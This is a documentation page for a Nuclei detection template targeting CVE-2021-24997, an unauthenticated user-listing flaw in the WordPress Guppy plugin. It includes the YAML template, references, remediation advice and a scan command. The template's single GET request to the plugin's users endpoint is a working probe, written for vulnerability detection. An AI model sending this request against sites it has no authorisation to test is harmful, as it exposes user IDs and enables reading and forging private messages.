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WordPress Guppy <=1.1 - Information Disclosure

ID: CVE-2021-24997

Severity: medium

Author: Evan Rubinstein

Tags: cve,cve2021,wordpress,guppy,api,wp-plugin,edb,wpscan,wp-guppy

Description

Section titled “Description”

WordPress Guppy plugin through 1.1 is susceptible to an API disclosure vulnerability. This can allow an attacker to obtain all user IDs and then use them to make API requests to get messages sent between users and/or send messages posing as one user to another.

YAML Source

Section titled “YAML Source”
id: CVE-2021-24997


info:
  name: WordPress Guppy <=1.1 - Information Disclosure
  author: Evan Rubinstein
  severity: medium
  description: WordPress Guppy plugin through 1.1 is susceptible to an API disclosure vulnerability. This can allow an attacker to obtain all user IDs and then use them to make API requests to get messages sent between users and/or send messages posing as one user to another.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the target system.
  remediation: |
    Update to the latest version of the WordPress Guppy plugin (version >1.1) to mitigate the information disclosure vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50540
    - https://patchstack.com/database/vulnerability/wp-guppy/wordpress-wp-guppy-plugin-1-2-sensitive-information-disclosure-vulnerability
    - https://wpscan.com/vulnerability/747e6c7e-a167-4d82-b6e6-9e8613f0e900
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24997
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-24997
    cwe-id: CWE-862
    epss-score: 0.0019
    epss-percentile: 0.56317
    cpe: cpe:2.3:a:wp-guppy:wp_guppy:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wp-guppy
    product: wp_guppy
    framework: wordpress
  tags: cve,cve2021,wordpress,guppy,api,wp-plugin,edb,wpscan,wp-guppy


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search="


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"guppyUsers":'
          - '"userId":'
          - '"type":'
        condition: and


      - type: status
        status:
          - 200
# digest: 4a0a004730450220715183f02717eed4ce682a6b18ce8b75db344063a299b9f9a56b635162f0fda8022100c0862c4dbc120216f9eb272fc93602861f08cb739bb2de62d05a8904a88b9d7d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24997.yaml"

View on Github